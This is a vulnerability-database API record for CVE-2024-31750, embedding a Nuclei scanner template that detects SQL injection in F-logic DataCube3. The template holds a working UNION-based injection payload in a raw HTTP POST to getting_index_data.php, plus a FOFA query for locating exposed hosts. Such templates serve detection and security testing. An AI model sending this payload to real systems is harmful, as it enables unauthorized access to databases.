{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-31750/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-31750/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-31750/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-31750/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-31750/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-31750"},"sightings":{"href":"/api/v1/sightings/cve-2024-31750"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-31750.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2024-31750\n\ninfo:\n  name: F-logic DataCube3 - SQL Injection\n  author: DhiyaneshDK\n  severity: high\n  description: |\n    SQL injection vulnerability in f-logic datacube3 v.1.0 allows a remote attacker to obtain sensitive information via the req_id parameter.\n  impact: |\n    Attackers can execute arbitrary SQL queries, potentially extracting or modifying sensitive database information.\n  remediation: |\n    Update F-logic DataCube3 to a version that patches the SQL injection vulnerability.\n  reference:\n    - https://github.com/lampSEC/semcms/blob/main/datacube3.md\n    - https://github.com/MrWQ/vulnerability-paper/blob/master/bugs/DataCube3%20getting_index_data.php%20SQL%20%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-31750\n    - https://github.com/wjlin0/poc-doc\n    - https://github.com/wy876/POC\n  classification:\n    cve-id: CVE-2024-31750\n    epss-score: 0.1927\n    epss-percentile: 0.97245\n  metadata:\n    verified: true\n    max-request: 1\n    fofa-query: title=\"DataCube3\"\n  tags: cve,cve2024,datacube3,sqli,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /admin/pr_monitor/getting_index_data.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        req_id=1) UNION ALL SELECT CHAR(113,120,107,107,113)||CHAR(117,78,85,110,71,119,86,122,111,101,81,87,68,72,80,107,90,112,111,110,120,72,78,70,76,99,100,81,80,77,89,75,86,65,105,99,74,67,122,107)||CHAR(113,106,120,122,113),NULL,NULL-- sTqG\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"qxkkquNUnGwVzoeQWDHPkZponxHNFLcdQPMYKVAicJCzkqjxzq\")'\n          - 'contains(header, \"application/json\")'\n          - 'status_code==200'\n        condition: and\n# digest: 4b0a00483046022100be10773b664eb47d89779742522027fe309207764af2bff55de28987bfe8e854022100f4b296f17f03dc9ab876cf3cf9dbe3c133b6fa26629f2335528ec67fa13d6e8b:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-31750"}